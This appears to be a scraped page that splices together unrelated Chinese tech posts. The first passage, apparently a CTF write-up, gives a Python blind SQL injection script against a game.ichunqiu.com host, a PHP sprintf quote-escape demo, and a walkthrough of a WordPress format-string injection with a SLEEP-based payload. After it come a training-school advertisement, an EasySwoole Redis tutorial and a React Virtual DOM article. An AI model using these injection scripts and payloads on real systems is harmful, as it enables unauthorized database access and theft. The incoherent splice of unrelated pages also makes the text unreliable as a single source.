url = r'http://f6f0cdc51f8141a6b1a8634161859c1c78499dc70eea47f0.game.ichunqiu.com/'

s = requests.session()

//会话对象requests.Session能够跨请求地保持某些参数,比如cookies,即在同一个Session实例发出的所有请求都保持同一个cookies,而requests模块每次会自动处理cookies,这样就很方便地处理登录时的cookies问题。

dic = string.digits + string.letters + "!@#$%^&*()_+{}-="

right = 'password error!'

error = 'username error!'

lens = 0

i = 0

//确定当前数据库的长度

while True:

payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"

data={'username':payload,'password':1}

r = s.post(url,data=data).content

if error in r:

lens=i

break

i+=1

pass

print("[+]length(database()): %d" %(lens))

//确定当前数据库的名字

strs=''

for i in range(lens+1):

for c in dic:

payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"

data = {'username':payload,'password':1}

r = s.post(url,data=data).content

if right in r:

strs = strs + c

print strs

break

pass

pass

print("[+]database():%s" %(strs))

lens=0

i = 1

while True:

payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"

//对当前的数据库,查询第一个表的长度

data = {'username':payload,'password':1}

r = s.post(url,data=data).content

if error in r:

lens = i

break

i+=1

pass

print("[+]length(table): %d" %(lens))

strs=''

for i in range(lens+1):

for c in dic:

payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"

// 数字一定要str才可以传入

data = {'username':payload,'password':1}

r = s.post(url,data=data).content

if right in r:

strs = strs + c

print strs

break

pass

pass

print("[+]table_name:%s" %(strs))

tablename = '0x' + strs.encode('hex')

//编码为16进制

table_name = strs

lens=0

i = 0

while True:

payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"

data = {'username':payload,'password':1}

r = s.post(url,data=data).content

if error in r:

lens = i

break

i+=1

pass

print("[+]length(column): %d" %(lens))

strs=''

for i in range(lens+1):

for c in dic:

payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"

data = {'username':payload,'password':1}

r = s.post(url,data=data).content

if right in r:

strs = strs + c

print strs

break

pass

pass

print("[+]column_name:%s" %(strs))

column_name = strs

num=0

i = 0

while True:

payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"

data = {'username':payload,'password':1}

r = s.post(url,data=data).content

if error in r:

num = i

break

i+=1

pass

print("[+]number(column): %d" %(num))

lens=0

i = 0

while True:

payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"

data = {'username':payload,'password':1}

r = s.post(url,data=data).content

if error in r:

lens = i

break

i+=1

pass

print("[+]length(value): %d" %(lens))

i=1

strs=''

for i in range(lens+1):

for c in dic:

payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"

data = {'username':payload,'password':'1'}

r = s.post(url,data=data).content

if right in r:

strs = strs + c

print strs

break

pass

pass

print("[+]flag:%s" %(strs))

if __name__ == '__main__':

boom()

print 'Finish!'

<?php

$input = addslashes("%1$' and 1=1#");

echo $input;

echo "\n";

$b = sprintf("AND b='%s'",$input);

echo $b;

echo "\n";

$sql = sprintf("select * from t where a='%s' $b",'admin');

echo $sql;

>>>结果

%1$\' and 1=1#

AND b='%1$\' and 1=1#'

select * from t where a='admin' AND b='' and 1=1#'

格式字符%后面会吃掉一个\即%1$\被替换为空,逃逸出来一个单引号,造成注入.

0x04 Wordpress格式化字符串漏洞

漏洞跟踪

wordpress版本小于4.7.5在后台图片删除的地方存在一处格式化字符串漏洞 官方在4.7.6已经给出了补救办法 在我们即将要说的地方增加了这么一端代码

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents

只允许 %后面出现dsF 这三种字符类型, 其他字符类型都替换为%%\1, 而且还禁止了%, $ 这种参数定位

首先 我们找到upload.php 可以发现在deleta中 $post_id_del(比如int()) 未经过处理,直接传入

case 'delete':

if ( !isset( $post_ids ) )

break;

foreach ( (array) $post_ids as $post_id_del ) {

if ( !current_user_can( 'delete_post', $post_id_del ) ) //跟进

wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );

if ( !wp_delete_attachment( $post_id_del ) )

wp_die( __( 'Error in deleting.' ) );

}

$location = add_query_arg( 'deleted', count( $post_ids ), $location );

break;

跟进wp_delete_attachment( )函数 其中参数$post_id_del为图片的postid wp_delete_attachment( )中 调用了delete_metadata 函数

function wp_delete_attachment( $post_id, $force_delete = false ) {

.......

delete_metadata( 'post', null, '_thumbnail_id', $post_id, true ); // delete all for any posts.

......

}

继续跟进delete_metadata函数 漏洞触发点主要在wp-includes/meta.php 的 delete_metadata函数里面, 有如下代码:

if ( $delete_all ) {

$value_clause = '';

if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {

$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );

}

$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );

}

调用了两个prepare函数 跟进prepare函数

public function prepare( $query, $args ) {

if ( is_null( $query ) )

return;

// This is not meant to be foolproof -- but it will catch obviously incorrect usage.

if ( strpos( $query, '%' ) === false ) {

_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );

}

$args = func_get_args();

array_shift( $args );

// If args were passed as an array (as in vsprintf), move them up

if ( isset( $args[0] ) && is_array($args[0]) )

$args = $args[0];

$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it

$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting

$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware

$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s

array_walk( $args, array( $this, 'escape_by_ref' ) );

return @vsprintf( $query, $args );

}

详细看prepare函数对传入参数的处理过程 首先对%s进行处理

$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it

$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting

$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware

$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s

把'%s'替换为%s,然后再把"%s"替换成%s,替换为浮点数%F 把%s替换成'%s' 最后再进行vsprintf( query,args ); 对拼接的语句进行格式化处理

我们一步步分析 假设传入的$meta_value为'admin'

$wpdb->prepare( " AND meta_value = %s", $meta_value );

经过prepare函数处理后得到

vsprintf( " AND meta_value = '%s'",'admin')

=> AND meta_value = 'admin'

return到上一级函数后,继续执行这一条拼接语句:

$wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key )

经过prepare函数处理后得到

vsprintf( "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = 'admin'",'admin')

=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'admin'

看起来一切都很正常,毫无bug 但是我们可以思考一下,怎样使其形成注入呢?s> 或者说怎样逃逸一个单引号? 在之前我们先看一下,可控变量 $post_id_del 的路线

$post_id_del => $post_id => $meta_value => $args => $query

显然这里面两处admin都有单引号,而且两处都与 $post_id_del 联系,如何来选择?

对于第一处单引号 它是通过一次替换处理得到的,显然是对单引号>无法处理 对于第二处单引号 经过两次的替换,(这里的意思是执行了两次的替换代码,可能第二段代码对他没有起到实质性的作用,仅仅是去点单引号然后又加上单引号) 但是这一出经过了两次处理是必须的,那么我们是否能够是构造出另一个单引号(此时第二处有三个单引号)就可以闭合前面的单引号了

最重要的是,第二次的替换处理的变量是可控的,因此要引入单引号,我们需要$meta_value含有%s 那么第一次的结果为

AND meta_value = 'X%sY'(其中XY为未知量)

//这里需要注意,为什么%s不被单引号围起来,我看过一篇博客,它是写的'%s',这显然是错的,为什么呢?我们生成了'%s'是没错,不过还原一下过程就知道了,首先我们生成了AND meta_value = '%s',注意此时与$meta_value没有半毛钱关系,后来的vsprintf后,才与$meta_value有了关系,原来的%s被替换成了X%sY,值得注意的是这里的%s没有经过任何处理,处理是在第二轮进行的,这是后话。

第二次后的结果为

SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'%s'Y'

(对于第二处的%s我们先不要带入格式化后的值,其实真实的语句应该为:

SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'admin'Y')

分析到这里,相信大家应该知道传值($meta_value)使单引号逃逸出来了吧

admin显然是多余的,那么我们需要把它放在单引号里面,因此第二个单引号需要去掉,那么第四个单引号需要注释掉,这就很轻而易举地构造sql语句 AND meta_value = 'Xadmin'Y Y里面就是我们注入的代码

漏洞利用

怎么去传值呢? 利用格式化字符串漏洞

去掉第二个单引号就需要使该单引号成为%后的第一个字符,也就是%',但是我们还需要一个占位符,%1$' 这样就没有报错的去掉了该单引号

所以我们构造的payload为

$meta_value = %1$%s AND SLEEP(5)#

=> AND meta_value = '%1$%s AND SLEEP(5)'

=> "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = AND meta_value = '%1$'%s' AND SLEEP(5)#'",'admin'

其中 %1$' => 空

=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = AND meta_value = 'admin' AND SLEEP(5)#'

成功利用该漏洞形成时间注入

漏洞修补

现在我们说一下第四部分开头的补救方法 后来官方在prepare函数加了这一代码

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents

只允许 %后面出现dsF 这三种字符类型, 其他字符类型都替换为%%\1, 而且还禁止了%, $ 这种参数定位

展开
收起

尾音“实战式”教学,深入挖掘学员内驱力

随着信息产业的迅猛发展,IT行业人才需求量也在逐年扩大。据国内权威数据统计,未来五年,我国信息化人才总需求量高达1500万—2000万人。其中“软件开发”、“网络工程”等人才的缺口最为突出。

以软件开发为例,我国软件人才需求以每年递增20%的速度增长,每年新增需求近百万。

此外,软件人才需要一定的技术性,而目前高校的培养与企业需求严重脱轨,导致软件人才缺口变大,因此一个熟练的软件技术工程师,特别受用人单位的欢迎。

对于想要进入IT行业的小伙伴来说,编程语言的趋势和企业招聘量可以作为选择学习技术方向的一个维度。

数据来源:职友集

从数据可得企业对PHP开发工程师的需求大量增加,PHP程序员和招聘岗位的供求比例高达1:40,使得PHP拥有非常庞大的市场。

PHP主要用在服务器端上用于Web开发,约占网站总数的80%。

Facebook最初使用的就是PHP,PHP在WordPress内容管理系统中扮演的角色让它很受欢迎。PHP提供了几个框架,比如Laravel和Drupal,帮助开发人员更快地构建应用程序,拥有更高的可扩展性和可靠性。因此,如果你在找Web开发方面的职位,PHP是不错的选择。

尾音信息是整个培训领域始终坚持100%全程面授便是良心教育的彰显。名师虽贵绝不省人工,面授虽繁必不减品质。尾音信息用高薪证明传统面授模式依旧是人才培养的王道,用口碑验证坚持“实战式”教学才是课程品质的有力保障。

唯有以理论做基奠,讲究实战练兵,才能深入挖掘学员的内驱力,最大程度展现学员的能力和水平。

01、教育是个慢功夫,拼的是服务品质。

随着互联网的高速发展,各种新兴教学模式不断涌现,为IT职业培训者提供了多重学习选择。我们不可否认远程视频授课、双元教学等新潮的教学模式,为IT职业教育的发展提供了新的思路,为学员的学习提供了便利性。但是学员缺乏项目实战能力也是不争的事实。

只有面对面教学,手把手传授才能真正了解学员的真实能力,从而提出“定制化”的指导方案,帮助学员查漏补缺自己的技能短板,鼓励支持学员的创新项目开发。

老师在教学中只是起到构建框架、指引大方向的作用,而学员需要通过自己对学科的理解消化,在框架中添补血肉,融入自己的思想,形成自己对学科的个性化解读和认知。

只有善于挖掘学员潜质,培养学员的创新思维,让学员在学习中发现无穷的乐趣,才能让学员化被动学习为主动汲取,由擅长模仿过渡到自主创新的更高学习境界。

02、实战练兵是面授教学的灵魂

面授教学最大优点在于不受空间局限,最大程度上节约学习者的沟通成本。学员能真实感受到学科的魅力,老师的水准。与远程视频教学想比,课程是有温度、有力量的。项目实战全程都有专业老师指导,第一时间答疑解惑,为学员的学习消除后顾之忧。

尾音信息“实战式”教学的最终目的就是让学员能顺利就业,为企业输送货真价实的人才。尾音信息在企业端,充分挖掘企业需求、建立合作关系;在学生端,围绕企业需求开发课程、对学生进行专门的就业辅导。这样不仅满足了学生就业需求,企业招聘人才的需求同样得到了满足,逐渐形成一个良好的人才输送系统循环。

展开
收起

深入浅出:Swoole单例模式及依赖注入进行Redis底层类库封装

redis安装及php-redis扩展安装初步使用封装基类 – 单例模式优化封装 – 依赖注入从配置加载从自定义配置加载本文将一步一步的从redis的安装一直到easySwoole使用高度封装的底层类库,并进行优化提高代码的维护性,可以直接看最后的优化结果第一部分 redis安装及php-redis扩展安装

redis的安装很简单,直接到redis官网下载,这里使用的是redis4.0.12,下载后直接make && make install即可,进入到redis的文件夹的src目录,运行一个redis服务,其默认端口是6379:

./redis-server运行一个redis客户端

./redis-cli安装php-redis也很简单,从github把扩展下载下来解压,然后

phpize./configuremake && make install即可,如果想要configure到指定的php版本就指定phpize的目录并在config的时候prefix到指定的php配置文件,安好之后再php.ini加上redis.so即可。

第二部分 初步使用

直接在源码中进行redis的连接:

<?php/** * Created by bingxiong. * Date: 12/19/18 * Time: 6:38 PM * Description: */namespace App\HttpController\Api;use \EasySwoole\Core\Component\Di;// 使用封装的redis基类use App\Lib\Redis\Redis;class Index extends Base{ public function getRedis(){ $redis = new \Redis(); $redis->connect("127.0.0.1",6379, 5); $redis->set("bing",19249); return $this->writeJson(200,'OK',$redis->get("bing")); }}显然我们不可能这样使用,需要对其进行二次封装

第三部分 创建Redis的基类

基类创建在App->Lib->Redis->redis.php

<?php/** * Created by bingxiong. * Date: 12/21/18 * Time: 12:44 AM * Description: */namespace App\Lib\Redis;// 使用单例模式use EasySwoole\Config;use EasySwoole\Core\AbstractInterface\Singleton;class Redis{ use Singleton; public $redis = ""; private function __construct() { //判断扩展有没有安装 if(!extension_loaded('redis')){ throw new \Exception("redis.so文件不存在"); } try{ $this->redis = new \Redis(); $result = $this->redis->connect("127.0.0.1",6379,3); } catch (\Exception $e){ throw new \Exception("redis服务异常"); } if($result === false){ throw new \Exception("redis连接失败"); } } /** * 重写get友好的返回key不存在的情况 * @param $key * @return bool|string */ public function get($key){ if(empty($key)){ return ''; } return $this->redis->get($key); }}说明:使用了单例模式:用于为一个类生成一个唯一的对象。最常用的地方是数据库连接。 使用单例模式生成一个对象后,该对象可以被其它众多对象所使用。作为对象的创建模式,单例模式确保某一个类只有一个实例,而且自行实例化并向整个系统提供这个实例,这个类称为单例类。1、一个类只能有一个实例 2、它必须自行创建这个实例 3、它必须自行向整个系统提供这个实例有了基类之后,配置和连接的任务就从基类的构造函数加载了,之前的代码就变成了

<?php/** * Created by bingxiong. * Date: 12/19/18 * Time: 6:38 PM * Description: */namespace App\HttpController\Api;use \EasySwoole\Core\Component\Di;// 使用封装的redis基类use App\Lib\Redis\Redis;class Index extends Base{ public function getRedis(){ $result = Redis::getInstance()->get('bing'); return $this->writeJson(200,'OK',$result); }}第四部分 依赖注入

依赖注入:一个对象提供另一个对象的依赖关系,是一种设计模式,好处就是有效的分离了对象和它所需要的外部资源,使得它们松散耦合,有利于功能复用,更重要的是使得程序的整个体系结构变得非常灵活。easyswool使用依赖注入非常的简单,在easyswoolevent的文件中

public static function mainServerCreate(ServerManager $server,EventRegister $register): void { Di::getInstance()->set('MYSQL',\MysqliDb::class,Array ( 'host' => '127.0.0.1', 'username' => 'root', 'password' => 'root', 'db'=> 'imooc_video', 'port' => 8889, 'charset' => 'utf8') ); Di::getInstance()->set('REDIS',Redis::getInstance()); }上面的是我数据库的配置,下面getInstance中实例化了刚才封装的基类

实例化di再getInstance就可以了

<?php/** * Created by bingxiong. * Date: 12/19/18 * Time: 6:38 PM * Description: */namespace App\HttpController\Api;use \EasySwoole\Core\Component\Di;// 使用封装的redis基类use App\Lib\Redis\Redis;class Index extends Base{ public function getRedis(){ // 3使用依赖注入 $result = Di::getInstance()->get('REDIS')->get('bing'); return $this->writeJson(200,'OK',$result); }}第5部分 从配置加载

在配置文件中添加,或者用你喜欢的方式配置

'REDIS' => [ 'host' => '127.0.0.1', 'port' => 6379, 'time_out' => 3 ]然后基类改写成

<?php/** * Created by bingxiong. * Date: 12/21/18 * Time: 12:44 AM * Description: */namespace App\Lib\Redis;// 使用单例模式use EasySwoole\Config;use EasySwoole\Core\AbstractInterface\Singleton;class Redis{ use Singleton; public $redis = ""; private function __construct() { //判断扩展有没有安装 if(!extension_loaded('redis')){ throw new \Exception("redis.so文件不存在"); } try{ //从配置加载REDIS - 提高维护性 $redisConfig = Config::getInstance()->getConf("REDIS"); $this->redis = new \Redis(); $result = $this->redis->connect($redisConfig['host'],$redisConfig['port'],$redisConfig['time_out']); } catch (\Exception $e){ throw new \Exception("redis服务异常"); } if($result === false){ throw new \Exception("redis连接失败"); } } /** * 重写get友好的返回key不存在的情况 * @param $key * @return bool|string */ public function get($key){ if(empty($key)){ return ''; } return $this->redis->get($key); }}第6部分 从自定义配置加载

由于可能有很多配置,把配置都放在这个文件的话会显得很臃肿,因此我们将每个配置文件比如redis mysql elasticsearch的配置单独抽离出来单独管理,这样有更好的维护性

所以在根目录创建config->redis.php,在这里直接返回redis的配置

<?php/** * Created by bingxiong. * Date: 12/21/18 * Time: 2:10 AM * Description: redis相关配置 */return ['host' => '127.0.0.1', 'port' => 6379, 'time_out' => 3];然后自定义载入配置文件,创建了一个loadConf方法,这个方法在easyswoole的文档中有,所以最终的

EasySwooleEvent.php

<?php/** * Created by PhpStorm. * User: yf * Date: 2018/1/9 * Time: 下午1:04 */namespace EasySwoole;use App\Lib\Redis\Redis;use \EasySwoole\Core\AbstractInterface\EventInterface;use EasySwoole\Core\Component\Di;use \EasySwoole\Core\Swoole\ServerManager;use \EasySwoole\Core\Swoole\EventRegister;use \EasySwoole\Core\Http\Request;use \EasySwoole\Core\Http\Response;use \EasySwoole\Core\Utility\File;Class EasySwooleEvent implements EventInterface { public static function frameInitialize(): void { // TODO: Implement frameInitialize() method. date_default_timezone_set('Asia/Shanghai'); self::loadConf(EASYSWOOLE_ROOT.'/Config'); } public static function loadConf($ConfPath) { $Conf = Config::getInstance(); $files = File::scanDir($ConfPath); foreach ($files as $file) { $data = require_once $file; $Conf->setConf(strtolower(basename($file, '.php')), (array)$data); } } /** * 使用依赖注入加载 * @param ServerManager $server * @param EventRegister $register */ public static function mainServerCreate(ServerManager $server,EventRegister $register): void { Di::getInstance()->set('MYSQL',\MysqliDb::class,Array ( 'host' => '127.0.0.1', 'username' => 'root', 'password' => 'root', 'db'=> 'imooc_video', 'port' => 8889, 'charset' => 'utf8') ); Di::getInstance()->set('REDIS',Redis::getInstance()); } public static function onRequest(Request $request,Response $response): void { // TODO: Implement onRequest() method. } public static function afterAction(Request $request,Response $response): void { // TODO: Implement afterAction() method. }}redis.php 这是redis的基类<?php/**

Created by bingxiong.Date: 12/21/18Time: 12:44 AMDescription:*/namespace App\Lib\Redis;

// 使用单例模式use EasySwoole\Config;use EasySwoole\Core\AbstractInterface\Singleton;

class Redis{use Singleton;

public $redis = "";private function __construct(){ //判断扩展有没有安装 if(!extension_loaded('redis')){ throw new \Exception("redis.so文件不存在"); } try{ // 从自己的配置加载 $redisConfig = Config::getInstance()->getConf("redis"); $this->redis = new \Redis(); $result = $this->redis->connect($redisConfig['host'],$redisConfig['port'],$redisConfig['time_out']); } catch (\Exception $e){ throw new \Exception("redis服务异常"); } if($result === false){ throw new \Exception("redis连接失败"); }}/** * 重写get友好的返回key不存在的情况 * @param $key * @return bool|string */public function get($key){ if(empty($key)){ return ''; } return $this->redis->get($key);}}最终实现

/** * Created by bingxiong. * Date: 12/19/18 * Time: 6:38 PM * Description: */namespace App\HttpController\Api;use \EasySwoole\Core\Component\Di;class Index extends Base{ public function getRedis(){ // 使用依赖注入 $result = Di::getInstance()->get('REDIS')->get('bing'); return $this->writeJson(200,'OK',$result); }}本文作者熊冰,个人网站Bing的天涯路),转载请注明出处。

展开
收起

深入理解 React 的 Virtual DOM

React在前端界一直很流行,而且学起来也不是很难,只需要学会JSX、理解

State

Props

,然后就可以愉快的玩耍了,但想要成为React的专家你还需要对React有一些更深入的理解,希望本文对你有用。

这是Choerodon的一个前端页面

在复杂的前端项目中一个页面可能包含上百个状态,对React框架理解得更精细一些对前端优化很重要。曾经这个页面点击一条记录展示详情会卡顿数秒,而这仅仅是前端渲染造成的。

为了能够解决这些问题,开发者需要了解React组件从定义到在页面上呈现(然后更新)的整个过程。

React在编写组件时使用混合

HTML

JavaScript

的一种语法(称为JSX)。 但是,浏览器对JSX及其语法一无所知,浏览器只能理解纯

JavaScript

,因此必须将JSX转换为

HTML

。 这是一个div的JSX代码,它有一个类和一些内容:

<divclassName='cn'> 文本</div>

在React中将这段jsx变成普通的js之后它就是一个带有许多参数的函数调用:

React.createElement( 'div', { className: 'cn' }, '文本');

它的第一个参数是一个字符串,对应html中的标签名,第二个参数是它的所有属性所构成的对象,当然,它也有可能是个空对象,剩下的参数都是这个元素下的子元素,这里的文本也会被当作一个子元素,所以第三个参数是

“文本”

到这里你应该就能想象这个元素下有更多

children

的时候会发生什么。

<divclassName='cn'> 文本1 <br /> 文本2</div>

React.createElement( 'div', { className: 'cn' }, '文本1', // 1st child React.createElement('br'), // 2nd child'文本1'// 3rd child)

目前的函数有五个参数:元素的类型,全部属性的对象和三个子元素。 由于一个

child

也是React已知的

HTML

标签,因此它也将被解释成函数调用。

到目前为止,本文已经介绍了两种类型的

child

参数,一种是

string

纯文本,一种是调用其他的

React.createElement

函数。其实,其他值也可以作为参数,比如:

基本类型 false,null,undefined和 true数组React组件使用数组是因为可以将子组件分组并作为一个参数传递:

React.createElement( 'div', { className: 'cn' }, ['Content 1!', React.createElement('br'), 'Content 2!'])

当然,React的强大功能不是来自

HTML

规范中描述的标签,而是来自用户创建的组件,例如:

functionTable({ rows }) { return ( <table> {rows.map(row => ( <trkey={row.id}><td>{row.title}</td></tr> ))} </table> );}

组件允许开发者将模板分解为可重用的块。在上面的“纯函数”组件的示例中,组件接受一个包含表行数据的对象数组,并返回

React.createElement

对<table>元素及其行作为子元素的单个调用 。

每当开发者将组件放入JSX布局中时它看上去是这样的:

<Tablerows={rows} />

但从浏览器角度,它看到的是这样的:

React.createElement(Table, { rows: rows });

请注意,这次的第一个参数不是以

string

描述的HTML元素,而是组件的引用(即函数名)。第二个参数是传入该组件的

props

对象。

将组件放在页面上

现在,浏览器已经将所有JSX组件转换为纯

JavaScript

,现在浏览器获得了一堆函数调用,其参数是其他函数调用,还有其他函数调用......如何将它们转换为构成网页的DOM元素?

为此,开发者需要使用

ReactDOM

库及其

render

方法:

functionTable({ rows }) { /* ... */ } // 组件定义// 渲染一个组件ReactDOM.render( React.createElement(Table, { rows: rows }), // "创建" 一个 componentdocument.getElementById('#root') // 将它放入DOM中);

ReactDOM.render

被调用时,

React.createElement

最终也会被调用,它返回以下对象:

// 这个对象里还有很多其他的字段,但现在对开发者来说重要的是这些。{ type: Table, props: { rows: rows }, // ...}

这些对象构成了React意义上的Virtual DOM

它们将在所有进一步渲染中相互比较,并最终转换为真正的DOM(与Virtual DOM对比)。

这是另一个例子:这次有一个div具有class属性和几个子节点:

React.createElement( 'div', { className: 'cn' }, 'Content 1!', 'Content 2!',);

变成:

{ type: 'div', props: { className: 'cn', children: [ 'Content 1!', 'Content 2!' ] }}

所有的传入的展开函数,也就是

React.createElement

除了第一第二个参数剩下的参数都会在

props

对象中的

children

属性中,不管传入的是什么函数,他们最终都会作为

children

传入

props

中。

而且,开发者可以直接在JSX代码中添加

children

属性,将子项直接放在

children

中,结果仍然是相同的:

<divclassName='cn'children={['Content1!', 'Content2!']} />

在Virtual DOM对象被建立出来之后

ReactDOM.render

会尝试按以下规则把它翻译成浏览器能够看得懂的DOM节点:

如果Virtual DOM对象中的type属性是一个string类型的tag名称,就创建一个tag,包含props里的全部属性。如果Virtual DOM对象中的type属性是一个函数或者class,就调用它,它返回的可能还是一个Virtual DOM然后将结果继续递归调用此过程。如果props中有children属性,就对children中的每个元素进行以上过程,并将返回的结果放到父DOM节点中。最后,浏览器获得了以下HTML(对于上述table的例子):

<table><tr><td>Title</td></tr> ...</table>

重建DOM

接下浏览器要“重建”一个DOM节点,如果浏览器要更新一个页面,显然,开发者并不希望替换页面中的全部元素,这就是React真正的魔法了。如何才能实现它?先从最简单的方法开始,重新调用这个节点的

ReactDOM.render

方法。

// 第二次调用ReactDOM.render( React.createElement(Table, { rows: rows }), document.getElementById('#root'));

这一次,上面的代码执行逻辑将与看到的代码不同。React不是从头开始创建所有DOM节点并将它们放在页面上,React将使用“diff”算法,以确定节点树的哪些部分必须更新,哪些部分可以保持不变。

那么它是怎样工作的?只有少数几个简单的情况,理解它们将对React程序的优化有很大帮助。请记住,接下来看到的对象是用作表示React Virtual DOM中节点的对象。

▌Case 1:type是一个字符串,type在调用之间保持不变,props也没有改变。

// before update{ type: 'div', props: { className: 'cn' } }// after update{ type: 'div', props: { className: 'cn' } }

这是最简单的情况:DOM保持不变。

▌Case 2:type仍然是相同的字符串,props是不同的。

// before update:{ type: 'div', props: { className: 'cn' } }// after update:{ type: 'div', props: { className: 'cnn' } }

由于type仍然代表一个HTML元素,React知道如何通过标准的DOM API调用更改其属性,而无需从DOM树中删除节点。

▌Case 3:type已更改为不同的组件String或从String组件更改为组件。

// before update:{ type: 'div', props: { className: 'cn' } }// after update:{ type: 'span', props: { className: 'cn' } }

由于React现在看到类型不同,它甚至不会尝试更新DOM节点:旧元素将与其所有子节点一起被删除(unmount)。因此,在DOM树上替换完全不同的元素的代价会非常之高。幸运的是,这在实际情况中很少发生。

重要的是要记住React使用===(三等)来比较type值,因此它们必须是同一个类或相同函数的相同实例。

下一个场景更有趣,因为这是开发者最常使用React的方式。

▌Case 4:type是一个组件。

// before update:{ type: Table, props: { rows: rows } }// after update:{ type: Table, props: { rows: rows } }

你可能会说,“这好像没有任何变化”,但这是不对的。

如果type是对函数或类的引用(即常规React组件),并且启动了树diff比较过程,那么React将始终尝试查看组件内部的所有

child

以确保

render

的返回值没有更改。即在树下比较每个组件 - 是的,复杂的渲染也可能变得昂贵!

组件中的children

除了上面描述的四种常见场景之外,当元素有多个子元素时,开发者还需要考虑React的行为。假设有这样一个元素:

// ...props: { children: [ { type: 'div' }, { type: 'span' }, { type: 'br' } ]},// ...

开发者开发者想将它重新渲染成这样(

span

div

交换了位置):

// ...props: { children: [ { type: 'span' }, { type: 'div' }, { type: 'br' } ]},// ...

那么会发生什么?

当React看到里面的任何数组类型的

props.children

,它会开始将它中的元素与之前看到的数组中的元素按顺序进行比较:index 0将与index 0,index 1与index 1进行比较,对于每对子元素,React将应用上述规则集进行比较更新。在以上的例子中,它看到

div

变成一个

span

这是一个情景3中的情况。但这有一个问题:假设开发者想要从1000行表中删除第一行。React必须“更新”剩余的999个孩子,因为如果与先前的逐个索引表示相比,他们的内容现在将不相等。

幸运的是,React有一种内置的方法来解决这个问题。如果元素具有

key

属性,则元素将通过

key

而不是索引进行比较。只要

key

是唯一的,React就会移动元素而不将它们从DOM树中移除,然后将它们放回(React中称为挂载/卸载的过程)。

// ...props: { children: [ // 现在react就是根据key,而不是索引来比较了 { type: 'div', key: 'div' }, { type: 'span', key: 'span' }, { type: 'br', key: 'bt' } ]},// ...

当状态改变时

到目前为止,本文只触及了

props

,React哲学的一部分,但忽略了

state

。这是一个简单的“有状态”组件:

classAppextendsComponent{ state = { counter: 0 } increment = () =>this.setState({ counter: this.state.counter + 1, }) render = () => (<buttononClick={this.increment}> {'Counter: ' + this.state.counter} </button>)}

现在,上述例子中的

state

对象有一个

counter

属性。单击按钮会增加其值并更改按钮文本。但是当用户点击时,DOM会发生什么?它的哪一部分将被重新计算和更新?

调用

this.setState

也会导致重新渲染,但不会导致整个页面重渲染,而只会导致组件本身及其子项。父母和兄弟姐妹都可以幸免于难。

修复问题

本文准备了一个DEMO,这是修复问题前的样子。你可以在这里查看其源代码。不过在此之前,你还需要安装React Developer Tools。

打开demo要看的第一件事是哪些元素以及何时导致Virtual DOM更新。导航到浏览器的Dev Tools中的React面板,点击设置然后选择“Highlight Updates”复选框:

现在尝试在表中添加一行。如你所见,页面上的每个元素周围都会出现边框。这意味着每次添加行时,React都会计算并比较整个Virtual DOM树。现在尝试按一行内的计数器按钮。你将看到Virtual DOM如何更新 (state仅相关元素及其子元素更新)。

React DevTools暗示了问题可能出现的地方,但没有告诉开发者任何细节:特别是有问题的更新是指元素“diff”之后有不同,还是组件被unmount/mount了。要了解更多信息,开发者需要使用React的内置分析器(请注意,它不能在生产模式下工作)。

转到Chrome DevTools中的“Performance”标签。点击record按钮,然后点击表格。添加一些行,更改一些计数器,然后点击“Stop”按钮。稍等一会儿之后开发者会看到:

在结果输出中,开发者需要关注“Timing”。缩放时间轴,直到看到“React Tree Reconciliation”组及其子项。这些都是组件的名称,旁边有[update]或[mount]。可以看到有一个TableRow被mount了,其他所有的TableRow都在update,这并不是开发者想要的。

大多数性能问题都由[update]或[mount]引起

一个组件(以及组件下的所有东西)由于某种原因在每次更新时重新挂载,开发者不想让它发生(重新挂载很慢),或者在大型分支上执行代价过大的重绘,即使组件似乎没有发生任何改变。

修复mount/unmount

现在,当开发者了解React如何决定更新Virtual DOM并知道幕后发生的事情时,终于准备好解决问题了!修复性能问题首先要解决 mount/unmount。

